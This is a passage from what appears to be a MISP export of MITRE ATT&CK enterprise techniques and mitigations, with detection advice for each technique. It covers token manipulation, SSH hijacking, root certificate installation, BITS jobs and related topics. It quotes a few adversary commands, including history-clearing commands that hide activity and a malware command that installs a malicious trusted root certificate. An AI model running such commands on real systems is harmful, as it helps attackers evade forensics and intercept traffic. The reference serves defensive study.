'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user’s security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.
'''Create Process with a Token''' - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.
'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session’s access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.
Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.
Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)
Detection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code> (Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code> (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.
Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)
Platforms: Windows
Data Sources: API monitoring, Access Tokens
Effective Permissions: SYSTEM
Permissions Required: User, Administrator
Contributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3
System Time Discovery - T1124
The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They’re Inside), or to discover locality information based on time zone to assist in victim targeting.
Detection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.
Platforms: Windows
Data Sources: Process monitoring, Process command-line parameters, API monitoring
Permissions Required: User
Links |
https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf |
Clear Command History - T1146
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they’ve done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user’s home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.
Detection: User authentication, especially via remote terminal services like SSH, without new entries in that user’s <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.
Platforms: Linux, macOS
Data Sources: Authentication logs, File monitoring
Defense Bypassed: Log analysis, Host forensic analysis
Permissions Required: User
Links |
Execution through Module Load - T1129
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)
The module loader can load DLLs:
*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;
*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);
*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;
*via <code><file name="filename.extension" loadFrom="fully-qualified or relative pathname"></code> in an embedded or external "application manifest". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.
Adversaries can use this functionality as a way to execute arbitrary code on a system.
Detection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths.
Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.
Platforms: Windows
Data Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring
Permissions Required: User
Contributors: Stefan Kanthak
Links |
https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files |
SSH Hijacking - T1184
Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent’s socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)
SSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.
Detection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.
Platforms: Linux, macOS
Data Sources: Authentication logs
Permissions Required: User, root
System Requirements: SSH service enabled, trust relationships configured, established connections
Contributors: Anastasios Pingios
Install Root Certificate - T1130
Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root’s chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)
Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)
Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)
In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)
Detection: A system’s root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (<code>sigcheck[64].exe -tuv</code>) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)
Installed root certificates are located in the Registry under <code>HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\</code> and <code>[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) *18F7C1FCC3090203FD5BAA2F861A754976C8DD25 *245C97DF7514E7CF2DF8BE72AE957B9E04741E85 *3B1EFD3A66EA28B16697394703A72CA340A05BD5 *7F88CD7223F3C813818C994614A89C99FA3B5247 *8F43288AD272F3103B6FB1428485EA3014C0BCFE *A43489159A520F0D93D032CCAF37E7FE20A8B419 *BE36A4562FB2EE05DBB3D32323ADF445084ED656 *CDD4EEAE6000AC7F40C3802C171E30148030C072
Platforms: Linux, Windows, macOS
Data Sources: SSL/TLS inspection, Digital Certificate Logs
Defense Bypassed: Digital Certificate Validation
Permissions Required: Administrator, User
Contributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps
Data Transfer Size Limits - T1030
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)
Platforms: Linux, macOS, Windows
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Requires Network: Yes
Links |
.bash_profile and .bashrc - T1156
<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.
Mac’s Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.
These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).
Detection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
Platforms: Linux, macOS
Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network
Permissions Required: User, Administrator
Links |
BITS Jobs - T1197
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.
The interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin
Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)
BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)
Detection: BITS runs as a service and its status can be checked with the Sc query utility (<code>sc query bits</code>). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (<code>bitsadmin /list /allusers /verbose</code>). (Citation: Microsoft BITS)
Monitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)
Platforms: Windows
Data Sources: API monitoring, Packet capture, Windows event logs
Defense Bypassed: Firewall, Host forensic analysis
Permissions Required: User, Administrator, SYSTEM
Contributors: Ricardo Dias, Red Canary
Enterprise Attack - Course of Action
ATT&CK Mitigation.
Enterprise Attack - Course of Action is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
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MITRE
Component Object Model Hijacking Mitigation - T1122
Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.
Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Exfiltration Over Command and Control Channel Mitigation - T1041
Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Process Injection Mitigation - T1055
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)
Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).
Bypass User Account Control Mitigation - T1088
Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking.
Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)
Command-Line Interface Mitigation - T1059
Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
DLL Search Order Hijacking Mitigation - T1038
Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm
Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)
Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
Uncommonly Used Port Mitigation - T1065
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Network Share Discovery Mitigation - T1135
Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Regsvcs/Regasm Mitigation - T1121
Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.
Application Deployment Software Mitigation - T1017
Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.
If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
Commonly Used Port Mitigation - T1043
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Windows Management Instrumentation Mitigation - T1047
Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)
Hooking Mitigation - T1179
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Sudo Mitigation - T1169
The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.
Distributed Component Object Model Mitigation - T1175
Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID}</code> associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)
Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL
Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)
Enable Windows firewall, which prevents DCOM instantiation by default.
Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)
Path Interception Mitigation - T1034
Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.
Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel).
Require that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\Windows\</code>, to reduce places where malicious files could be placed for execution.
Identify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.
Graphical User Interface Mitigation - T1061
Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
NTFS File Attributes Mitigation - T1096
It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)
Indicator Removal from Tools Mitigation - T1066
Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.
Identify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Re-opened Applications Mitigation - T1164
Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.
Launch Agent Mitigation - T1159
Restrict user’s abilities to create Launch Agents with group policy.
Gatekeeper Bypass Mitigation - T1144
Other tools should be used to supplement Gatekeeper’s functionality. Additionally, system settings can prevent applications from running that haven’t been downloaded through the Apple Store which can help mitigate some of these issues.
SIP and Trust Provider Hijacking Mitigation - T1198
Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent DLL Search Order Hijacking. (Citation: SpectorOps Subverting Trust Sept 2017)
Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)
Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.
Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.
Clipboard Data Mitigation - T1115
Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Obfuscated Files or Information Mitigation - T1027
Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)
Mitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.
Create Account Mitigation - T1136
Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.
Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
Spearphishing Link Mitigation - T1192
Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Other mitigations can take place as User Execution occurs.
Spearphishing via Service Mitigation - T1194
Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.
Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.
Registry Run Keys / Start Folder Mitigation - T1060
Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Multi-Stage Channels Mitigation - T1104
Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)
Data Staged Mitigation - T1074
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Launch Daemon Mitigation - T1160
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.
Data from Removable Media Mitigation - T1025
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Hidden Users Mitigation - T1147
If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.
Signed Script Proxy Execution Mitigation - T1216
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application whitelisting configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
Data from Network Shared Drive Mitigation - T1039
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Dylib Hijacking Mitigation - T1157
Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.
Account Manipulation Mitigation - T1098
Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.
Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
PowerShell Mitigation - T1086
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Forced Authentication Mitigation - T1187
Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)
For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.
Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.
System Information Discovery Mitigation - T1082
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Exploitation for Defense Evasion Mitigation - T1211
